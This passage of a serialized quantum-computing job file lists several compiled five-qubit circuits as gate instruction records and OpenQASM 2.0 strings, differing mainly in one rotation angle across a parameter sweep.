q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n'}, 'config': {'memory_slots': 2, 'n_qubits': 5}}, {'instructions': [{'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [-3.141592653589793], 'texparams': ['-3.14159265358979'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [1.5707963267948966], 'texparams': ['\\frac{\\pi}{2}'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [2, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [1, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u3', 'params': [0.6000000000000001, -1.5707963267948966, 1.5707963267948966], 'texparams': ['0.6', '- \\frac{\\pi}{2}', '\\frac{\\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0.7853981633974483, 3.141592653589793], 'texparams': ['\\frac{\\pi}{4}', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u1', 'params': [-0.7853981633974483], 'texparams': ['- \\frac{\\pi}{4}'], 'qubits': [2], 'memory': []}, {'name': 'u1', 'params': [0.7853981633974483], 'texparams': ['\\frac{\\pi}{4}'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [4], 'memory': [0]}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [1], 'memory': [1]}], 'header': {'n_qubits': 5, 'memory_slots': 2, 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'creg_sizes': [['c', 2]], 'name': 'circuit1199', 'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(0.600000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n'}, 'config': {'memory_slots': 2, 'n_qubits': 5}}, {'instructions': [{'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [-3.141592653589793], 'texparams': ['-3.14159265358979'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [1.5707963267948966], 'texparams': ['\\frac{\\pi}{2}'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [2, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [1, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u3', 'params': [0.7000000000000001, -1.5707963267948966, 1.5707963267948966], 'texparams': ['0.7', '- \\frac{\\pi}{2}', '\\frac{\\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0.7853981633974483, 3.141592653589793], 'texparams': ['\\frac{\\pi}{4}', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u1', 'params': [-0.7853981633974483], 'texparams': ['- \\frac{\\pi}{4}'], 'qubits': [2], 'memory': []}, {'name': 'u1', 'params': [0.7853981633974483], 'texparams': ['\\frac{\\pi}{4}'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [4], 'memory': [0]}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [1], 'memory': [1]}], 'header': {'n_qubits': 5, 'memory_slots': 2, 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'creg_sizes': [['c', 2]], 'name': 'circuit1201', 'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(0.700000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n'}, 'config': {'memory_slots': 2, 'n_qubits': 5}}, {'instructions': [{'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [-3.141592653589793], 'texparams': ['-3.14159265358979'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [1.5707963267948966], 'texparams': ['\\frac{\\pi}{2}'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [2, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [1, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u3', 'params': [0.8, -1.5707963267948966, 1.5707963267948966], 'texparams': ['0.8', '- \\frac{\\pi}{2}', '\\frac{\\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0.7853981633974483, 3.141592653589793], 'texparams': ['\\frac{\\pi}{4}', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u1', 'params': [-0.7853981633974483], 'texparams': ['- \\frac{\\pi}{4}'], 'qubits': [2], 'memory': []}, {'name': 'u1', 'params': [0.7853981633974483], 'texparams': ['\\frac{\\pi}{4}'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [4], 'memory': [0]}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [1], 'memory': [1]}], 'header': {'n_qubits': 5, 'memory_slots': 2, 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'creg_sizes': [['c', 2]], 'name': 'circuit1203', 'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(0.800000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n'}, 'config': {'memory_slots': 2, 'n_qubits': 5}}, {'instructions': [{'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [-3.141592653589793], 'texparams': ['-3.14159265358979'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [1.5707963267948966], 'texparams': ['\\frac{\\pi}{2}'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [2, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [1, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u3', 'params': [0.9, -1.5707963267948966, 1.5707963267948966], 'texparams': ['0.9', '- \\frac{\\pi}{2}', '\\frac{\\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0.7853981633974483, 3.141592653589793], 'texparams': ['\\frac{\\pi}{4}', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u1', 'params': [-0.7853981633974483], 'texparams': ['- \\frac{\\pi}{4}'], 'qubits': [2], 'memory': []}, {'name': 'u1', 'params': [0.7853981633974483], 'texparams': ['\\frac{\\pi}{4}'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [4], 'memory': [0]}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [1], 'memory': [1]}], 'header': {'n_qubits': 5, 'memory_slots': 2, 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'creg_sizes': [['c', 2]], 'name': 'circuit1205', 'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx 